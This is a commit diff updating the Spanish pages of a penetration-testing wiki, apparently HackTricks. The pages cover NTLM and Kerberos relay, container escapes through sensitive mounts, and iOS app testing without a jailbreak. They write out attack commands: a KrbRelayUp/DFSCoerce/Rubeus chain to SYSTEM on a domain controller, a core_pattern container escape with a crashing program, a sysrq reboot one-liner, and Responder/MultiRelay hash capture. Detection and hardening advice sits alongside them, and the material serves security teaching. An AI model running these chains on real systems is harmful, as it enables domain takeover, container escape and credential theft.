Translated ['src/generic-methodologies-and-resources/pentesting-network/

2025-10-10 18:36:50 +00:00 · 2025-05-11 15:15:04 +00:00 · 2025-05-11 15:15:04 +00:00 · 89ec36d03d
commit 89ec36d03d
parent d8fd70f4bf
5 changed files with 241 additions and 47 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -316,6 +316,7 @@
  - [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md)
    - [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md)
  - [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md)
+  - [Flutter](mobile-pentesting/android-app-pentesting/flutter.md)
  - [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md)
    - [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md)
    - [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md)
@ -342,6 +343,7 @@
  - [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md)
  - [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md)
  - [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md)
+  - [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md)
  - [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md)
  - [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md)
  - [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md)
--- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
+++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -1,4 +1,4 @@
-# Suplantación de LLMNR, NBT-NS, mDNS/DNS y WPAD y Ataques de Relay
+# Spoofing LLMNR, NBT-NS, mDNS/DNS y WPAD y Ataques de Relay

 {{#include ../../banners/hacktricks-training.md}}

@ -7,18 +7,18 @@
 ### Protocolos de Resolución de Host Local

 - **LLMNR, NBT-NS y mDNS**:
- Microsoft y otros sistemas operativos utilizan LLMNR y NBT-NS para la resolución de nombres local cuando DNS falla. De manera similar, los sistemas de Apple y Linux utilizan mDNS.
- Estos protocolos son susceptibles a la interceptación y suplantación debido a su naturaleza no autenticada y de difusión sobre UDP.
+- Microsoft y otros sistemas operativos utilizan LLMNR y NBT-NS para la resolución de nombres locales cuando DNS falla. De manera similar, los sistemas de Apple y Linux utilizan mDNS.
+- Estos protocolos son susceptibles a la interceptación y el spoofing debido a su naturaleza no autenticada y de difusión sobre UDP.
 - [Responder](https://github.com/lgandx/Responder) se puede utilizar para suplantar servicios enviando respuestas falsificadas a hosts que consultan estos protocolos.
 - Más información sobre la suplantación de servicios utilizando Responder se puede encontrar [aquí](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).

 ### Protocolo de Descubrimiento Automático de Proxy Web (WPAD)

 - WPAD permite a los navegadores descubrir automáticamente la configuración del proxy.
- El descubrimiento se facilita a través de DHCP, DNS, o retrocediendo a LLMNR y NBT-NS si DNS falla.
+- El descubrimiento se facilita a través de DHCP, DNS o retroceso a LLMNR y NBT-NS si DNS falla.
 - Responder puede automatizar ataques WPAD, dirigiendo a los clientes a servidores WPAD maliciosos.

-### Responder para la Infección de Protocolos
+### Responder para el Envenenamiento de Protocolos

 - **Responder** es una herramienta utilizada para envenenar consultas LLMNR, NBT-NS y mDNS, respondiendo selectivamente según los tipos de consulta, apuntando principalmente a servicios SMB.
 - Viene preinstalado en Kali Linux, configurable en `/etc/responder/Responder.conf`.
@ -36,21 +36,21 @@

 ### Envenenamiento DHCP con Responder

- La suplantación de respuestas DHCP puede envenenar permanentemente la información de enrutamiento de una víctima, ofreciendo una alternativa más sigilosa al envenenamiento ARP.
+- Falsificar respuestas DHCP puede envenenar permanentemente la información de enrutamiento de una víctima, ofreciendo una alternativa más sigilosa al envenenamiento ARP.
 - Requiere un conocimiento preciso de la configuración de la red objetivo.
 - Ejecutando el ataque: `./Responder.py -I eth0 -Pdv`
 - Este método puede capturar efectivamente hashes NTLMv1/2, pero requiere un manejo cuidadoso para evitar la interrupción de la red.

 ### Capturando Credenciales con Responder

- Responder suplantará servicios utilizando los protocolos mencionados anteriormente, capturando credenciales (generalmente NTLMv2 Challenge/Response) cuando un usuario intente autenticarse contra los servicios suplantados.
+- Responder suplantará servicios utilizando los protocolos mencionados anteriormente, capturando credenciales (generalmente NTLMv2 Challenge/Response) cuando un usuario intente autenticarse contra los servicios falsificados.
 - Se pueden hacer intentos para degradar a NetNTLMv1 o deshabilitar ESS para un cracking de credenciales más fácil.

 Es crucial notar que el uso de estas técnicas debe hacerse de manera legal y ética, asegurando la autorización adecuada y evitando interrupciones o accesos no autorizados.

 ## Inveigh

-Inveigh es una herramienta para testers de penetración y equipos rojos, diseñada para sistemas Windows. Ofrece funcionalidades similares a Responder, realizando suplantaciones y ataques de hombre en el medio. La herramienta ha evolucionado de un script de PowerShell a un binario en C#, con [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) y [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) como las versiones principales. Parámetros e instrucciones detalladas se pueden encontrar en la [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
+Inveigh es una herramienta para testers de penetración y equipos rojos, diseñada para sistemas Windows. Ofrece funcionalidades similares a Responder, realizando ataques de spoofing y man-in-the-middle. La herramienta ha evolucionado de un script de PowerShell a un binario en C#, con [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) y [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) como las versiones principales. Parámetros e instrucciones detalladas se pueden encontrar en la [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).

 Inveigh se puede operar a través de PowerShell:
 ```bash
@ -64,7 +64,7 @@ Inveigh.exe

 Este ataque aprovecha las sesiones de autenticación SMB para acceder a una máquina objetivo, otorgando un shell del sistema si tiene éxito. Los requisitos clave incluyen:

- El usuario que se autentica debe tener acceso de Administrador Local en el host retransmitido.
+- El usuario que se autentica debe tener acceso de administrador local en el host retransmitido.
 - La firma SMB debe estar deshabilitada.

 #### 445 Port Forwarding and Tunneling
@ -89,7 +89,7 @@ beacon> socks stop
 ```
 ### Otras Herramientas para el Ataque de Relevo NTLM

- **Metasploit**: Configurado con proxies, detalles de host locales y remotos.
+- **Metasploit**: Configurado con proxies, detalles de hosts locales y remotos.
 - **smbrelayx**: Un script de Python para relajar sesiones SMB y ejecutar comandos o desplegar puertas traseras.
 - **MultiRelay**: Una herramienta del conjunto Responder para relajar usuarios específicos o todos los usuarios, ejecutar comandos o volcar hashes.

@ -107,14 +107,117 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
 ```
 Estas herramientas y técnicas forman un conjunto integral para llevar a cabo ataques de NTLM Relay en varios entornos de red.

-### Forzar Inicios de Sesión NTLM
+### Forzar inicios de sesión NTLM

-En Windows, **puede que puedas forzar a algunas cuentas privilegiadas a autenticarse en máquinas arbitrarias**. Lee la siguiente página para aprender cómo:
+En Windows, **puedes ser capaz de forzar a algunas cuentas privilegiadas a autenticarse en máquinas arbitrarias**. Lee la siguiente página para aprender cómo:

 {{#ref}}
 ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
 {{#endref}}

+## Ataque de Kerberos Relay
+
+Un **ataque de Kerberos relay** roba un **ticket AP-REQ** de un servicio y lo reutiliza contra un segundo servicio que comparte la **misma clave de cuenta de computadora** (porque ambos SPNs están en la misma cuenta de máquina `$`). Esto funciona a pesar de que las **clases de servicio de los SPNs difieren** (por ejemplo, `CIFS/` → `LDAP/`) porque la *clave* que desencripta el ticket es el hash NT de la máquina, no la cadena SPN en sí, y la cadena SPN no es parte de la firma.
+
+A diferencia del relay de NTLM, el salto está limitado a la *misma máquina*, pero, si apuntas a un protocolo que te permite escribir en LDAP, puedes encadenar en **Delegación Constrainida Basada en Recursos (RBCD)** o **inscripción de AD CS** y obtener **NT AUTHORITY\SYSTEM** en un solo intento.
+
+Para información detallada sobre este ataque, consulta:
+
+- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
+- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
+
+- 1. **Conceptos básicos de Kerberos**
+
+| Token | Propósito | Relevancia del relay |
+|-------|-----------|----------------------|
+| **TGT / AS-REQ ↔ REP** | Prueba al usuario ante el KDC | intocable |
+| **Ticket de servicio / TGS-REQ ↔ REP** | Vinculado a un **SPN**; encriptado con la clave del propietario del SPN | intercambiable si los SPNs comparten cuenta |
+| **AP-REQ** | El cliente envía `TGS` al servicio | **lo que robamos y reproducimos** |
+
+* Los tickets están encriptados con la **clave derivada de la contraseña de la cuenta que posee el SPN**.
+* El **Autenticador** dentro del AP-REQ tiene una marca de tiempo de 5 minutos; la reproducción dentro de esa ventana es válida hasta que la caché del servicio vea un duplicado.
+* Windows rara vez verifica si la cadena SPN en el ticket coincide con el servicio que golpeas, por lo que un ticket para `CIFS/HOST` normalmente se desencripta bien en `LDAP/HOST`.
+
+- 2. **Lo que debe ser cierto para relayar Kerberos**
+
+1. **Clave compartida:** los SPNs de origen y destino pertenecen a la misma cuenta de computadora (predeterminado en servidores Windows).
+2. **Sin protección de canal:** SMB/LDAP sin firma y EPA desactivado para HTTP/LDAPS.
+3. **Puedes interceptar o coaccionar la autenticación:** envenenamiento de LLMNR/NBNS, suplantación de DNS, **PetitPotam / DFSCoerce RPC**, AuthIP falso, DCOM malicioso, etc.
+4. **Fuente del ticket no utilizada previamente:** ganas la carrera antes de que el paquete real llegue o lo bloqueas por completo; de lo contrario, la caché de reproducción del servidor activa el Evento 4649.
+5. Necesitas poder realizar un **MitM en la comunicación**, tal vez siendo parte del grupo DNSAdmins para modificar el DNS del dominio o poder cambiar el archivo HOST de la víctima.
+
+### Pasos de Kerberos Relay
+
+- 3.1 **Reconocer el host**
+```powershell
+# find servers where HTTP, LDAP or CIFS share the same machine account
+Get-ADComputer -Filter * -Properties servicePrincipalName |
+Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
+Select Name,servicePrincipalName
+```
+- 3.2 **Iniciar el oyente de relay**
+
+[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
+```powershell
+# one-click local SYSTEM via RBCD
+.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
+```
+`KrbRelayUp` envuelve **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** en un solo binario.
+
+- 3.3 **Forzar autenticación Kerberos**
+```powershell
+# coerce DC to auth over SMB with DFSCoerce
+.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
+```
+DFSCoerce hace que el DC nos envíe un ticket Kerberos `CIFS/DC01`.
+
+- 3.4 **Reenviar el AP-REQ**
+
+KrbRelay extrae el blob GSS de SMB, lo reempaqueta en un enlace LDAP y lo reenvía a `ldap://DC01`—la autenticación tiene éxito porque la **misma clave** lo desencripta.
+
+- 3.5 **Abusar de LDAP ➜ RBCD ➜ SYSTEM**
+```powershell
+# (auto inside KrbRelayUp) manual for clarity
+New-MachineAccount -Name "FAKE01" -Password "P@ss123"
+KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
+Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
+SCMUACBypass.exe
+```
+You now own **NT AUTHORITY\SYSTEM**.
+
+### **Más rutas que vale la pena conocer**
+
+| Vector | Truco | Por qué es importante |
+|--------|-------|----------------|
+| **AuthIP / IPSec** | Servidor falso envía un **payload GSS-ID** con cualquier SPN; el cliente construye un AP-REQ directamente hacia ti | Funciona incluso a través de subredes; credenciales de máquina por defecto |
+| **DCOM / MSRPC** | Resolutor OXID malicioso obliga al cliente a autenticarse a un SPN y puerto arbitrarios | Escalación de privilegios *local* pura; elude el firewall |
+| **AD CS Web Enroll** | Reenvía el ticket de máquina a `HTTP/CA` y obtén un certificado, luego **PKINIT** para acuñar TGTs | Elude las defensas de firma LDAP |
+| **Shadow Credentials** | Escribe `msDS-KeyCredentialLink`, luego PKINIT con un par de claves falsificado | No es necesario agregar una cuenta de computadora |
+
+### **Solución de problemas**
+
+| Error | Significado | Solución |
+|-------|-------------|----------|
+| `KRB_AP_ERR_MODIFIED` | Clave del ticket ≠ clave del objetivo | Host/SPN incorrecto |
+| `KRB_AP_ERR_SKEW` | Reloj > 5 min de desfase | Sincroniza el tiempo o usa `w32tm` |
+| Fallo de enlace LDAP | Firma aplicada | Usa la ruta de AD CS o desactiva la firma |
+| Spam de Evento 4649 | El servicio vio un Autenticador duplicado | bloquea o compite con el paquete original |
+
+### **Detección**
+
+* Aumento en **Evento 4769** para `CIFS/`, `HTTP/`, `LDAP/` desde la misma fuente en segundos.
+* **Evento 4649** en el servicio indica que se detectó un replay.
+* Inicio de sesión Kerberos desde **127.0.0.1** (reenvío a SCM local) es altamente sospechoso—mapea a través de la regla Sigma en la documentación de KrbRelayUp.
+* Observa cambios en los atributos `msDS-AllowedToActOnBehalfOfOtherIdentity` o `msDS-KeyCredentialLink`.
+
+## **Fortalecimiento**
+
+1. **Aplica firma LDAP y SMB + EPA** en cada servidor.
+2. **Divide los SPNs** para que HTTP no esté en la misma cuenta que CIFS/LDAP.
+3. Parchea vectores de coerción (PetitPotam KB5005413, DFS, AuthIP).
+4. Establece **`ms-DS-MachineAccountQuota = 0`** para detener uniones de computadoras no autorizadas.
+5. Alerta sobre **Evento 4649** e inicios de sesión Kerberos de loopback inesperados.
+
 ## Referencias

 - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
--- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
@ -10,26 +10,38 @@ La exposición de `/proc`, `/sys` y `/var` sin un aislamiento adecuado de namesp

 ### `/proc/sys`

-Este directorio permite el acceso para modificar variables del kernel, generalmente a través de `sysctl(2)`, y contiene varios subdirectorios de interés:
+Este directorio permite el acceso para modificar variables del kernel, generalmente a través de `sysctl(2)`, y contiene varias subcarpetas de interés:

 #### **`/proc/sys/kernel/core_pattern`**

 - Descrito en [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Permite definir un programa para ejecutar en la generación de archivos de núcleo con los primeros 128 bytes como argumentos. Esto puede llevar a la ejecución de código si el archivo comienza con un pipe `|`.
- **Ejemplo de prueba y explotación**:
+- Si puedes escribir dentro de este archivo, es posible escribir un pipe `|` seguido de la ruta a un programa o script que se ejecutará después de que ocurra un fallo.
+- Un atacante puede encontrar la ruta dentro del host a su contenedor ejecutando `mount` y escribir la ruta a un binario dentro de su sistema de archivos de contenedor. Luego, hacer que un programa falle para que el kernel ejecute el binario fuera del contenedor.

+- **Ejemplo de Prueba y Explotación**:
 ```bash
-[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Probar acceso de escritura
+[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
 cd /proc/sys/kernel
-echo "|$overlay/shell.sh" > core_pattern # Establecer controlador personalizado
-sleep 5 && ./crash & # Activar controlador
+echo "|$overlay/shell.sh" > core_pattern # Set custom handler
+sleep 5 && ./crash & # Trigger handler
 ```
+Consulta [esta publicación](https://pwning.systems/posts/escaping-containers-for-fun/) para más información.

+Ejemplo de programa que falla:
+```c
+int main(void) {
+char buf[1];
+for (int i = 0; i < 100; i++) {
+buf[i] = 1;
+}
+return 0;
+}
+```
 #### **`/proc/sys/kernel/modprobe`**

 - Detallado en [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
 - Contiene la ruta al cargador de módulos del kernel, invocado para cargar módulos del kernel.
- **Ejemplo de verificación de acceso**:
+- **Ejemplo de Verificación de Acceso**:

 ```bash
 ls -l $(cat /proc/sys/kernel/modprobe) # Verificar acceso a modprobe
@ -38,7 +50,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Verificar acceso a modprobe
 #### **`/proc/sys/vm/panic_on_oom`**

 - Referenciado en [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Una bandera global que controla si el kernel se bloquea o invoca al OOM killer cuando ocurre una condición OOM.
+- Una bandera global que controla si el kernel entra en pánico o invoca al OOM killer cuando ocurre una condición de OOM.

 #### **`/proc/sys/fs`**

@ -48,7 +60,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Verificar acceso a modprobe
 #### **`/proc/sys/fs/binfmt_misc`**

 - Permite registrar intérpretes para formatos binarios no nativos basados en su número mágico.
- Puede llevar a la escalada de privilegios o acceso a shell root si `/proc/sys/fs/binfmt_misc/register` es escribible.
+- Puede llevar a la escalada de privilegios o acceso a un shell root si `/proc/sys/fs/binfmt_misc/register` es escribible.
 - Exploit relevante y explicación:
 - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
 - Tutorial en profundidad: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
@ -58,12 +70,12 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Verificar acceso a modprobe
 #### **`/proc/config.gz`**

 - Puede revelar la configuración del kernel si `CONFIG_IKCONFIG_PROC` está habilitado.
- Útil para los atacantes para identificar vulnerabilidades en el kernel en ejecución.
+- Útil para atacantes para identificar vulnerabilidades en el kernel en ejecución.

 #### **`/proc/sysrq-trigger`**

- Permite invocar comandos Sysrq, potencialmente causando reinicios inmediatos del sistema u otras acciones críticas.
- **Ejemplo de reinicio del host**:
+- Permite invocar comandos Sysrq, lo que puede causar reinicios inmediatos del sistema u otras acciones críticas.
+- **Ejemplo de Reinicio del Host**:

 ```bash
 echo b > /proc/sysrq-trigger # Reinicia el host
@ -78,7 +90,7 @@ echo b > /proc/sysrq-trigger # Reinicia el host

 - Lista símbolos exportados del kernel y sus direcciones.
 - Esencial para el desarrollo de exploits del kernel, especialmente para superar KASLR.
- La información de dirección está restringida con `kptr_restrict` configurado en `1` o `2`.
+- La información de direcciones está restringida con `kptr_restrict` configurado en `1` o `2`.
 - Detalles en [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).

 #### **`/proc/[pid]/mem`**
@ -106,21 +118,21 @@ echo b > /proc/sysrq-trigger # Reinicia el host

 #### **`/proc/sched_debug`**

- Devuelve información de programación de procesos, eludiendo las protecciones del namespace PID.
+- Devuelve información sobre la programación de procesos, eludiendo las protecciones del espacio de nombres PID.
 - Expone nombres de procesos, IDs e identificadores de cgroup.

 #### **`/proc/[pid]/mountinfo`**

- Proporciona información sobre puntos de montaje en el namespace de montaje del proceso.
+- Proporciona información sobre los puntos de montaje en el espacio de nombres de montaje del proceso.
 - Expone la ubicación del `rootfs` o imagen del contenedor.

-### Vulnerabilidades de `/sys`
+### Vulnerabilidades en `/sys`

 #### **`/sys/kernel/uevent_helper`**

 - Usado para manejar `uevents` de dispositivos del kernel.
 - Escribir en `/sys/kernel/uevent_helper` puede ejecutar scripts arbitrarios al activarse `uevent`.
- **Ejemplo de explotación**: %%%bash
+- **Ejemplo de Explotación**: %%%bash

 #### Crea una carga útil

@ -158,16 +170,16 @@ cat /output %%%
 #### **`/sys/firmware/efi/vars` y `/sys/firmware/efi/efivars`**

 - Expone interfaces para interactuar con variables EFI en NVRAM.
- La mala configuración o explotación puede llevar a laptops bloqueadas o máquinas host que no se pueden iniciar.
+- Una mala configuración o explotación puede llevar a laptops bloqueadas o máquinas host que no se pueden iniciar.

 #### **`/sys/kernel/debug`**

 - `debugfs` ofrece una interfaz de depuración "sin reglas" al kernel.
 - Historial de problemas de seguridad debido a su naturaleza sin restricciones.

-### Vulnerabilidades de `/var`
+### Vulnerabilidades en `/var`

-La carpeta **/var** del host contiene sockets de tiempo de ejecución de contenedores y los sistemas de archivos de los contenedores. Si esta carpeta se monta dentro de un contenedor, ese contenedor obtendrá acceso de lectura y escritura a los sistemas de archivos de otros contenedores con privilegios de root. Esto puede ser abusado para pivotar entre contenedores, causar una denegación de servicio o crear puertas traseras en otros contenedores y aplicaciones que se ejecutan en ellos.
+La carpeta **/var** del host contiene sockets de tiempo de ejecución de contenedores y los sistemas de archivos de los contenedores. Si esta carpeta está montada dentro de un contenedor, ese contenedor obtendrá acceso de lectura y escritura a los sistemas de archivos de otros contenedores con privilegios de root. Esto puede ser abusado para pivotar entre contenedores, causar una denegación de servicio o crear puertas traseras en otros contenedores y aplicaciones que se ejecutan en ellos.

 #### Kubernetes

@ -220,7 +232,7 @@ El XSS se logró:

 Tenga en cuenta que el contenedor NO requiere un reinicio ni nada. Cualquier cambio realizado a través de la carpeta montada **/var** se aplicará instantáneamente.

-También puede reemplazar archivos de configuración, binarios, servicios, archivos de aplicación y perfiles de shell para lograr RCE automático (o semi-automático).
+También puede reemplazar archivos de configuración, binarios, servicios, archivos de aplicaciones y perfiles de shell para lograr RCE automático (o semi-automático).

 ##### Acceso a credenciales de la nube

--- a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md
+++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md
@ -0,0 +1,73 @@
+# iOS Pentesting without Jailbreak
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Idea principal
+
+Las aplicaciones firmadas con el **derecho `get_task_allow`** permiten que aplicaciones de terceros ejecuten una función llamada **`task_for_pid()`** con el ID de proceso de la aplicación inicial como argumento para obtener el puerto de tarea sobre ella (poder controlarla y acceder a su memoria).
+
+Sin embargo, no es tan fácil como simplemente extraer el IPA, volver a firmarlo con el derecho y cargarlo de nuevo en tu dispositivo. Esto se debe a la protección FairPlay. Cuando la firma de la aplicación cambia, la clave DRM (Gestión de Derechos Digitales) es **invalidada y la aplicación no funcionará**.
+
+Con un dispositivo antiguo con jailbreak, es posible instalar el IPA, **desencriptarlo usando tu herramienta favorita** (como Iridium o frida-ios-dump) y extraerlo del dispositivo. Aunque, si es posible, se recomienda pedir al cliente el IPA desencriptado.
+
+## Obtener IPA desencriptado
+
+### Obtenerlo de Apple
+
+1. Instala la aplicación a pentest en el iPhone.
+2. Instala y lanza [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) en tu macos.
+3. Abre `Terminal` en tu Mac y navega a `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. El IPA aparecerá en esta carpeta más tarde.
+4. Deberías ver tu dispositivo iOS. Haz doble clic en él y luego haz clic en Agregar + → Aplicaciones en la barra de menú superior.
+5. Después de hacer clic en Agregar, Configurator descargará el IPA de Apple e intentará enviarlo a tu dispositivo. Si seguiste mi recomendación anterior e instalaste el IPA ya, aparecerá un aviso pidiéndote que reinstales la aplicación.
+6. El IPA debería descargarse dentro de `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` desde donde puedes obtenerlo.
+
+Consulta [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) para obtener información más detallada sobre este proceso.
+
+### Desencriptar la aplicación
+
+Para desencriptar el IPA, vamos a instalarlo. Sin embargo, si tienes un iPhone antiguo con jailbreak, potencialmente su versión no será compatible con la aplicación, ya que generalmente las aplicaciones solo soportan las versiones más recientes.
+
+Así que, para instalarlo, simplemente descomprime el IPA:
+```bash
+unzip redacted.ipa -d unzipped
+```
+Verifica el `Info.plist` para la versión mínima soportada y si tu dispositivo es más antiguo que eso, cambia el valor para que sea compatible.
+
+Comprime de nuevo el IPA:
+```bash
+cd unzipped
+zip -r ../no-min-version.ipa *
+```
+Luego, instala el IPA, por ejemplo, con:
+```bash
+ideviceinstaller -i no-min-version.ipa -w
+```
+Nota que podrías necesitar **AppSync Unified tweak** de Cydia para prevenir cualquier error de `firma inválida`.
+
+Una vez instalado, puedes usar **Iridium tweak** de Cydia para obtener el IPA descifrado.
+
+
+### Parchear derechos y volver a firmar
+
+Para volver a firmar la aplicación con el derecho `get-task-allow`, hay varias herramientas disponibles como `app-signer`, `codesign` e `iResign`. `app-signer` tiene una interfaz muy amigable que permite volver a firmar un archivo IPA de manera muy sencilla, indicando el IPA a volver a firmar, **ponerlo en `get-task-allow`** y el certificado y perfil de aprovisionamiento a utilizar.
+
+En cuanto al certificado y los perfiles de firma, Apple ofrece **perfiles de firma de desarrollador gratuitos** para todas las cuentas a través de Xcode. Solo crea una aplicación y configura uno. Luego, configura el **iPhone para confiar en las aplicaciones de desarrollador** navegando a `Settings` → `Privacy & Security`, y haz clic en `Developer Mode`.
+
+
+Con el IPA vuelto a firmar, es hora de instalarlo en el dispositivo para realizar la prueba de penetración:
+```bash
+ideviceinstaller -i resigned.ipa -w
+```
+### Hook
+
+Podrías enganchar tu aplicación fácilmente usando herramientas comunes como frida y objection:
+```bash
+objection -g [your app bundle ID] explore
+
+```
+## Referencias
+
+- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
+
+
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md
+++ b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md
@ -1,41 +1,41 @@
-# Entorno de Pruebas de iOS
+# iOS Testing Environment

 {{#include ../../banners/hacktricks-training.md}}

-## Programa de Desarrolladores de Apple
+## Apple Developer Program

-Una **identidad de aprovisionamiento** es una colección de claves públicas y privadas que están asociadas a una cuenta de desarrollador de Apple. Para **firmar aplicaciones** necesitas pagar **99$/año** para registrarte en el **Programa de Desarrolladores de Apple** y obtener tu identidad de aprovisionamiento. Sin esto, no podrás ejecutar aplicaciones desde el código fuente en un dispositivo físico. Otra opción para hacer esto es usar un **dispositivo con jailbreak**.
+Una **identidad de aprovisionamiento** es una colección de claves públicas y privadas que están asociadas a una cuenta de desarrollador de Apple. Para **firmar aplicaciones** necesitas pagar **99$/año** para registrarte en el **Apple Developer Program** y obtener tu identidad de aprovisionamiento. Sin esto, no podrás ejecutar aplicaciones desde el código fuente en un dispositivo físico. Otra opción para hacer esto es usar un **dispositivo con jailbreak**.

-A partir de Xcode 7.2, Apple ha proporcionado una opción para crear un **perfil de aprovisionamiento de desarrollo de iOS gratuito** que permite escribir y probar tu aplicación en un iPhone real. Ve a _Xcode_ --> _Preferencias_ --> _Cuentas_ --> _+_ (Agregar nuevo ID de Aplicación con tus credenciales) --> _Haz clic en el ID de Apple creado_ --> _Administrar Certificados_ --> _+_ (Desarrollo de Apple) --> _Listo_\
-\_\_Luego, para ejecutar tu aplicación en tu iPhone, primero necesitas **indicar al iPhone que confíe en la computadora.** Luego, puedes intentar **ejecutar la aplicación en el móvil desde Xcode,** pero aparecerá un error. Así que ve a _Configuración_ --> _General_ --> _Perfiles y Gestión de Dispositivos_ --> Selecciona el perfil no confiable y haz clic en "**Confiar**".
+A partir de Xcode 7.2, Apple ha proporcionado una opción para crear un **perfil de aprovisionamiento de desarrollo de iOS gratuito** que permite escribir y probar tu aplicación en un iPhone real. Ve a _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Agregar nuevo Apple ID con tus credenciales) --> _Haz clic en el Apple ID creado_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\
+\_\_Luego, para ejecutar tu aplicación en tu iPhone, primero necesitas **indicar al iPhone que confíe en la computadora.** Luego, puedes intentar **ejecutar la aplicación en el móvil desde Xcode,** pero aparecerá un error. Así que ve a _Settings_ --> _General_ --> _Profiles and Device Management_ --> Selecciona el perfil no confiable y haz clic en "**Trust**".

 Ten en cuenta que **las aplicaciones firmadas por el mismo certificado de firma pueden compartir recursos de manera segura, como elementos del llavero**.

 Los perfiles de aprovisionamiento se almacenan dentro del teléfono en **`/Library/MobileDevice/ProvisioningProfiles`**

-## **Simulador**
+## **Simulator**

 > [!NOTE]
 > Ten en cuenta que un **simulador no es lo mismo que un emulador**. El simulador solo simula el comportamiento del dispositivo y las funciones, pero no las utiliza realmente.

-### **Simulador**
+### **Simulator**

 Lo primero que necesitas saber es que **realizar un pentest dentro de un simulador será mucho más limitado que hacerlo en un dispositivo con jailbreak**.

 Todas las herramientas necesarias para construir y soportar una aplicación de iOS son **solo oficialmente soportadas en Mac OS**.\
-La herramienta de facto de Apple para crear/debugar/instrumentar aplicaciones de iOS es **Xcode**. Se puede usar para descargar otros componentes como **simuladores** y diferentes **versiones de SDK** requeridas para construir y **probar** tu aplicación.\
+La herramienta de facto de Apple para crear/debuggear/instrumentar aplicaciones de iOS es **Xcode**. Se puede usar para descargar otros componentes como **simuladores** y diferentes **versiones de SDK** requeridas para construir y **probar** tu aplicación.\
 Se recomienda encarecidamente **descargar** Xcode desde la **tienda de aplicaciones oficial**. Otras versiones pueden contener malware.

 Los archivos del simulador se pueden encontrar en `/Users/<username>/Library/Developer/CoreSimulator/Devices`

